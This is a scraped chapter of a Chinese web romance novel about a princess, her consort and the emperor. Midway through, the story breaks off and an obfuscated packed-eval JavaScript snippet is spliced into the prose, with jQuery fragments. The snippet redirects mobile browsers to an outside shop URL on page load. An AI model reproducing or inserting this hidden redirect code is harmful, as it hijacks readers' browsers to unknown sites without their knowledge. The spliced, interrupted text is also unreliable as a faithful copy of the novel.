文趣网 > 其他小说 > 臣的公主殿下 > 43. 第四十三章
    一听她冷,景林拿起一旁的浴袍走过去抖开给她围上,将她裹严实后他乱窜的目光也终于敢落在她身上,“好了,不冷了。”

    魏隋贞仰头望着他,额上的水珠滑落眉间,最后滴在她尖翘的鼻头上,弄的她一阵痒痒,止不住晃动脑袋想要将水珠甩落。

    “别动、别动”,景林生怕四肢被浴袍裹住的她晃倒在地,伸手拦住她腰,“别动,臣帮殿下擦。”

    魏隋贞紧紧贴着他,她如此赤身裸体面对他,他方才看她了吗?男人看女人的那种看,她没注意,因为太冷了,只听到他的口气仿佛是在照顾一个孩童,偏偏她又无比受用,决定继续装傻充愣。

    “殿下一头乌发又厚又长,若等发干透,今夜便不用睡了”,景林握着银梳小心翼翼替她梳发。

    “这有何难,你运功替我烘干不就行?”

    景林拿着银梳的手一顿,“殿下过于高看臣了,臣不是武林高手”,不过她既然会如此说,想必曾经有人为她运功烘过发。

    “景林”,魏隋贞忽转过身,“那你想不想变成武林高手?”

    这是想变就能变的?景林皱眉道:“殿下,臣混的是军营,不是武林。”

    魏隋贞原本雀跃的表情瞬转不乐,伸出一指戳进他腰带一拽,将他拽的俯下身来,她凑到他耳边道:“那我便到武林中寻一位高手来做二夫君。”

    景林转动脸,两片薄唇轻轻擦过她耳垂,“若殿下开心,那便去找吧。”

    “景林!魏隋贞大叫一声,然后猛的将景林扑到在地,一手依旧钩着他的腰带,另一只手已顺着胸膛抓住他领口,眼神死死盯着那两片不安分的唇,这小子方才分明是在勾引她。

    “怎么了?莫非有刺客?”景林环住她肩,一个翻滚,变成他上她下。

    “臣虽不是武林高手,但也能保护殿下。”

    魏隋贞无奈一笑,她的这位小驸马,真是不解风情到极致。

    “哪来什么刺客,谁敢在玄都刺杀我?”她手一推,“起开。”

    “吓死臣了”,景林松了口气,将她从地上扶起,“那臣伺候殿下安寝。”

    “你都不洗澡,我不要跟你睡”,魏隋贞边说边用手梳发,暗自运力烘干。

    “那臣告退。”

    “站住,谁让你出去了?”

    景林道:“殿下还有何吩咐?”

    魏隋贞目光瞥向窗外,一手指着地下,“你睡这里。”

    太极宫

    “陛下,公主发现了臣。”

    “无妨,纵是朕亲自去也会被她发现”,魏允闭眼倚在榻上,“自幼时,她便是个武学奇才,纵是朕也比不过她,朕与她虽师出同门,可周仙师是君父为她一人请入宫的,朕是顺带的那一个。”

    “她手中一握剑提刀,目光中就会透出一股狠劲,看谁都像血海深仇的敌人,招招皆下死手,因此,周仙师命她平日里哪怕装作不会武也切莫随意动武。”

    帝王吐露心事,庆良在一旁只敢听,不敢置喙。

    “被她发现前,都探知了些什么?”

    “回禀陛下,臣先是听见一阵水声,接着看见一对身影先是相拥,接着又倒地,再后来臣便被公主发现了。”

    魏允身子晃了一下,缓缓睁开眼,想再问些什么,张了张嘴却无力说出口,他知庆良绝不会骗他。

    “你,退下吧。”

    她竟连浴身也不避着他,莫非,她真与他做了夫妻。

    白日里她那样闯仙玄门,是否说明她心中对他已无情,坦然的不怕面对他。

    贞贞,我该如何,你才能回到我身边?

    “往那边窜窜。”

    景林似早料到她半夜会跑下来,特意将地铺铺的很宽。

    “殿下,下来吧,宽的很。”

    魏隋贞抱着枕头跳下床,躺在他身边,“这是天冷,所以你不洗澡我也不嫌弃你,暑日里你可不许这般。”

    “好”,景林替她掖着被子,“床上暖和,地上凉,殿下身子受不得寒,要不臣在铺层垫子?”

    “一暖和我反倒睡不着了”,魏隋贞翻过身背对着他,“快睡吧,还不知明日会怎样,可得养足了精力。”

    “嗯。”

    景林并未躺下睡觉,只坐在一边歪着身子静静看着她。

    她出浴那一刻,他心中的兵荒马乱无人知晓,心在胸腔里烧了一晚,现在还燃着余焰。

    “殿下与臣,若是普通夫妻,该多好。”

    玄都的第一夜,景林睁眼至天明。

    云韶客栈因公主入住,其余人皆被遣走,景林一早便拎了一袋银子寻至柜台前,掌柜的一见他便忙行礼,“小民见过驸马。”

    他将钱袋子放在柜台上,“我初来玄都,不知这些银子可够?”

    “万万不可,驸马快请收回,这客栈本就是公主名下产业”,掌柜将钱袋子双手奉还。

    景林有些懵,此事她并未和他说过。

    他回到房里时她正在梳妆,桌上不知何时已摆上许多新衣裳新首饰,是他从未见过的款式。

    “我都回到玄都了,自然不能再穿北郡那些小土裙裳”,魏隋贞细细描着眉,“也不知玄都时兴什么妆容。”

    景林行至她身畔,看着镜子里她柔声问:“莫非,殿下在玄都还有衣裳铺、首饰铺?”

    “算他们有良心,还记得我,知道我回来,一早便将东西悉数送来。”

    景林缓缓蹲下身,仰头看着她,“殿下。”

    魏隋贞放下眉笔,“说。”

    “没什么,就是臣觉得,你比臣想象中更有钱。”

    魏隋贞听了一愣,随之捧腹大笑,趴在妆台上笑的停不下来。

    “殿下,当心妆蹭花了。”

    啪,一只眉笔被摔落在地,“怎么画都画不好”,魏隋贞扭头对着门口道:“都进来。”

    她一声令下,三个年轻的妆娘应声而至,“民女见过长公主殿下。”

    景林自知不是自己的主场,替她捡起眉笔重新放回她手中便退至一旁。

    魏隋贞淡淡问道:“如今玄都时兴何种妆容?

    “回公主的话,是贵妃娘娘的素泪妆。”

    一听贵妃娘娘,她手中眉笔一折为二,吓的妆娘改口道:“民女们可为公主独设一款新妆,今日后,玄都女子定会个个效仿。”

    两截眉笔落至景林足下,他暗自替这三位年轻小妆娘捏了把冷汗。

    “胡话,本宫如今尚在孝期,怎可朱粉艳艳,花枝招展。”

    “是...是...”

    三个

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17831047|204616||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    妆娘已被吓的答话都结结巴巴,景林在一旁看的心急,不知她为何突然对人发难。

    “那...那民女为公主化一素雅妆容...”

    “出去。”

    她这一声出去,这个语气,景林已许久没听到过,但他永远记得这个语气一出现会发生什么。

    “你们三个先下去吧,让门外候着的其余人也都退下。”

    三个妆娘如获大赦般闪退。

    “殿下,臣翻书时瞧见一美人图,其妆容素雅温婉,就让臣来为殿下上妆吧”,他冲上前,扫了一眼台面,抄起一支笔,刚抬至她面前就被一声震掉。

    “你知道眉毛往哪边画吗你就来为我上妆!”

    魏隋贞吼完起身离开,她必须现在就进宫,她要去看看魏允那位贵妃娘娘究竟多么的美若天仙。

    她刚下楼,便听见一阵尖细的嗓音向她恭敬行礼,“奴婢拜见永陵长公主,公主万安。”

    是宫里的内侍,那定是魏允派来的。

    “让开,莫要拦路。”

    “奴婢万不敢拦殿下的去路,只是奴婢是带了陛下圣旨而来。”

    她上去便揪住为首之人的领子,“你谁啊?哪来的骗子?你说圣旨便是圣旨啊,依本宫看,那是废纸。”

    “奴婢宣雨,自陛下登基以来便随侍在侧。”

    魏隋贞自然明白没人会敢光明正大冒充天子近臣来假传圣旨,只是她就是生气,就是想骂人。

    宣雨,她这才好好打量起这位内侍,看着年纪不大,不过能做魏允贴身大内官,想必手段不菲。

    她手一放,松开宣雨的衣领,拍了拍手,扭身便走。

    “殿下,那便接旨吧。”

    她朝后扫了一眼,对着楼梯上的景林道:“下来接旨。”

    将景林喊来后她绕到桌边坐着,“要宣旨便宣给他一个人听,不宣便带着圣旨回去。”

    景林听着她的话眼睛都瞪大了,再是亲姐弟,也不敢如此藐视君权,传出去还不得说永陵长公主要造反。

    “殿下......”

    不想那传旨内侍官竟真照着她的话将圣旨宣给了他一人。

    “驸马,接旨吧。”

    “臣,接旨”,他双手举过圣旨。

    “长公主殿下,奴婢便先行告退了。”

    待传旨的人离开后,景林捧着圣旨上楼回到房中,“殿下方才也太放肆了,吓死臣了,一家老小的命全在脑里过了一遍。”

    “怕什么,有什么好怕的”,她将圣旨单手夺过,“三日后入宫。”

    她嘴角挂着一抹冷笑,三日,阿允,你竟还要鼓三天的气才敢见我吗?

    景林瞧她笑的瘆人,那神情似是要入宫杀光所有人。也是,她本就不想回来,而那些人,也却是伤了她的心,这些他都看在眼里。

    “若我今日就要入宫呢”,魏隋贞将圣旨扔到一边,“怪了,怎就他当了皇帝,其他人没意见吗?”

    “殿下莫再说了!”景林见她越说越放肆,伸手去捂她嘴,被她一把拍掉。

    “他刚登大位便来为难我,还不让我说,我不仅要说,我还要骂他!”

    如此大骂天子,大概是她不想活的病又犯了,景林无法,只好掰过她脸,一吻落下,堵住她的嘴。